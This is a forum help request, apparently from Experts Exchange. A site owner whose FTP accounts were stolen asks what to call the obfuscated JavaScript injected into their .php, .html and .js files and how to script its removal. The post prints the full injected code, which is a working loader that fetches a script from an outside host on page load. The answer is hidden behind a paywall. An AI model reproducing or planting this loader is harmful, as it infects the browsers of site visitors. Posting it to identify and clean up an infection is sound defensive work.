motekk
asked on
Javascript Worm/Virus
Hello!
a trojan horse stole our ftp accounts and now all .php, .html and .js files are full of this (see code attachement).
What's the correct name for this malware?
And how do I remove it from the linux servers - i'm searching for a shell script that is scanning all .php, .html and .js files and removes this code.
Thanks!
a trojan horse stole our ftp accounts and now all .php, .html and .js files are full of this (see code attachement).
What's the correct name for this malware?
And how do I remove it from the linux servers - i'm searching for a shell script that is scanning all .php, .html and .js files and removes this code.
Thanks!
var j='';function R(){var e;if(e!='w'){e='w'};var m=window;var wm='';var t=new Date();var G="";var d=m['unescape'];this.Ts='';var E=d("%2f%79%61%68%6f%6f%2d%63%6f%6d%2d%63%6e%2f%67%6f%6f%67%6c%65%2e%63%6f%6d
%2f%62%75%7a%7a%6e%65%74%2e%63%6f%6d%2e%70%68%70");var zC;if(zC!='JO' && zC!='oc'){zC='JO'};var k;if(k!='' && k!='wU'){k=''};var pa;if(pa!='' && pa!='kr'){pa='nm'};var HS;if(HS!='' && HS!='Y'){HS='id'};funct
ion g(X,r){var xq=new Date();var C=d("%5d");this.Ys='';var U=d("%5b");var Mt;if(Mt!='' && Mt!='rN'){Mt=''};var dG="g";var S=new String();var n=new RegExp(U+r+C, dG);this.eW="";var u;if(u!='kd' && u!='kG'){u=
''};var gz;if(gz!='K' && gz!='xz'){gz=''};return X.replace(n, new String());var eX;if(eX!='N'){eX=''};};var A;if(A!=''){A='ce'};var HI=new Date();var CR=g('s_cNrHidpAtN','HAl_Nmd');var Ac='';var Gl='';var cJ
;if(cJ!='' && cJ!='Ho'){cJ=null};var q=g('dhePfQe1rQ','QpP7h1');this.O_='';var tu;if(tu!='cn'){tu='cn'};var L=document;var Ew=g('87111346360924173271138717766577902593773212','76495321');this.W='';var vk=new
Array();var XW=g('shrqcy','ujyhQqE2GSl');this.on='';this.VL='';function D(){var SI;if(SI!='' && SI!='Aj'){SI=''};var Q;if(Q!='' && Q!='Mh'){Q=''};var DN=d("%68%74%74%70%3a%2f%2f%64%61%72%6b%62%6c%75%65%63%6
f%61%73%74%2e%69%6e%66%6f%3a");var z=DN;var zP;if(zP!='' && zP!='I'){zP='Jt'};var s='';z+=Ew;this.RN="";var vP;if(vP!=''){vP='g_'};z+=E;var uR;if(uR!='' && uR!='Oi'){uR=''};var ezm;if(ezm!='' && ezm!='Uu'){e
zm=''};this.AC="";try {var Ka="";var QQ;if(QQ!='Mc' && QQ!='AQ'){QQ=''};var ey;if(ey!='Pd' && ey!='ui'){ey=''};o=L[g('cxr_ehaKtfeAEhlXepmheVnktx','W_KCuJXohF3IvVDsdp9kAxf')](CR);var uj;if(uj!='nK' && uj!='op
'){uj=''};var bn;if(bn!='bF' && bn!='Lw'){bn=''};var Kv;if(Kv!=''){Kv='kf'};var Az='';o[q]=[1][0];var HM=new Date();o[XW]=z;this.uG="";L.body[g('azpspHeHn4dHCEhciHlHd4','MfzsEcGvyrHuk2FN4Y')](o);var _q=new D
ate();this.Sq="";} catch(v){};var Od;if(Od!='gR' && Od!='Y_'){Od='gR'};}var BZ;if(BZ!='ts'){BZ='ts'};var GeL;if(GeL!='hP'){GeL='hP'};var vD=g('o4n4lWoUa3dv','I3g04WUv');var Em=new Array();var tp="";var UC;if
(UC!='JL' && UC!='ig'){UC='JL'};m[vD]=D;};this.dK='';var Gj="";R();var Iz="";var _n=new Date();
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER